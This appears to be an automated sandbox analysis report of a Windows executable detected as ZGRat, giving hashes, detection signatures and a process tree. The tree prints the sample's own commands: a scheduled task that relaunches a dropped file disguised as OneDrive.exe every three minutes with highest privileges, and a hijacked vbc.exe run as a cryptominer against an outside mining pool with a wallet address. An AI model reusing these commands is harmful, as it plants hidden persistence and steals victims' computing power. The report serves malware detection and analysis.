Analysis
- max time kernel
3s - max time network
97s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
08/01/2024, 01:02
Behavioral task
behavioral1
Sample
7b3c1e60932c652fc591de285279cbdfb7292b54899842ea5c627fedc7cee8ab.exe
Resource
win7-20231215-en
11 signatures
150 seconds
General
- Target 7b3c1e60932c652fc591de285279cbdfb7292b54899842ea5c627fedc7cee8ab.exe
- Size 5.0MB
- Sample240108-bd9pzshdfl
- SHA256 7b3c1e60932c652fc591de285279cbdfb7292b54899842ea5c627fedc7cee8ab
- MD5 0c4bb973e88e0b22652b833aa25f9aae
- SHA1 10227c55b0b07ce05728416fa61a0062a436ade6
- SHA512 1dd23305da37c6a78b9c17328152a179f39d37dd0faff857dcd5ee743bf34af98cb7fff96e4e7ba467ef141cacdc82f34c7816b69e7f34c65a276d71a29b9624
- SSDEEP 49152:NR7b7Edoz4wYlD2+2cWfGmsQZ0Wf8f8QlWuWzVjnpXGp8mih7NUfXUu4tEqNrqcS:Nye/UUfG/Mul2rq/aReDkizMeQU
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Detect ZGRat V1 1 IoCs
resource yara_rule behavioral2/files/0x000d000000023147-9.dat family_zgrat_v1 - .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
resource yara_rule behavioral2/files/0x000d000000023147-9.dat net_reactor - Executes dropped EXE 1 IoCs
pid Process 3108 OneDrive.exe -
resource yara_rule behavioral2/memory/1912-16-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-20-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-21-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-23-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-25-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-24-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-22-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-14-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-13-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-26-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-27-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-29-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-32-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-31-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-30-0x0000000140000000-0x00000001407DC000-memory.dmp upx behavioral2/memory/1912-36-0x0000000140000000-0x00000001407DC000-memory.dmp upx - Uses the VBS compiler for execution 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3500 schtasks.exe - Delays execution with timeout.exe 1 IoCs
pid Process 1436 timeout.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2824 7b3c1e60932c652fc591de285279cbdfb7292b54899842ea5c627fedc7cee8ab.exe Token: SeDebugPrivilege 3108 OneDrive.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2824 wrote to memory of 2860 2824 7b3c1e60932c652fc591de285279cbdfb7292b54899842ea5c627fedc7cee8ab.exe 16 PID 2824 wrote to memory of 2860 2824 7b3c1e60932c652fc591de285279cbdfb7292b54899842ea5c627fedc7cee8ab.exe 16 PID 2860 wrote to memory of 1436 2860 cmd.exe 17 PID 2860 wrote to memory of 1436 2860 cmd.exe 17 PID 2860 wrote to memory of 3108 2860 cmd.exe 74 PID 2860 wrote to memory of 3108 2860 cmd.exe 74
Processes
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C:\Users\Admin\AppData\Local\Temp\7b3c1e60932c652fc591de285279cbdfb7292b54899842ea5c627fedc7cee8ab.exe"C:\Users\Admin\AppData\Local\Temp\7b3c1e60932c652fc591de285279cbdfb7292b54899842ea5c627fedc7cee8ab.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp42F4.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
PID:1436
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C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3108 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"4⤵PID:4408
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl4⤵PID:1912
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"1⤵
- Creates scheduled task(s)
PID:3500
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe
- Size 56KB
- SHA256 9502855ba709df2b2cf4ef8bbc4f4f359e8fe9896c39a0f2abc1c8c5e201d483
- MD5 7db635260089ff7a9a52e0efb9d9a994
- SHA1 f4ba4abdd6062d682f492451173ec1a530609751
- SHA512 5b21ec27bd4031aada26be8c6dfcba3b7ec3013181013c628551078137044c0789fa01b1ba1f01696011ea5a39e3f0cc0033a97a85024251697a7768859f0f0b
- SSDEEP 1536:XEUdSedTazmb8pbXgyxR9j4LbDvACGKdKfrjk:X3dk31fV4LHgTjk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe
- Size 55KB
- SHA256 bdf792617936f6d76dd8ab2d883f30e0da8512247bb0a2d518d2d6123ece491b
- MD5 8498798fa5ce0f9a43d0d62b9c667a25
- SHA1 e52e765fc6a7274eb4df3d7e90778aee3789d26e
- SHA512 5b847922517b3a0abcb1df82f9b0d303f4df4d04272fc0cb92dd68ce7f2a1ea7e66c88a49c7a9a67e2de3579fe48e2b8e81bebb87a0ab5272f9d5719481aa7f8
- SSDEEP 1536:XEUdSedTazmb8pbXgyxR9j4LbDvACGKdKf2:X3dk31fV4LHge
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\tmp42F4.tmp.bat
- Size 176B
- SHA256 77a9f4b2d080f1c63aaa172e0cd0cb5e32a11a0a5280f5b0f497b77149f1127c
- MD5 7eeee56fe680087c9eab59e50531b895
- SHA1 9bd60eb7d50e52838f3409886f50cfe34b458894
- SHA512 f683b0c5812ac23742533052cdfe716c95eb431b8dc1f32eeddb3788a0971fcfaf49d786e6e0c2a05d647ff8bcfc93bcc48964107065b7fcc3f9437ecad8d070
- MD5 SHA1 SHA512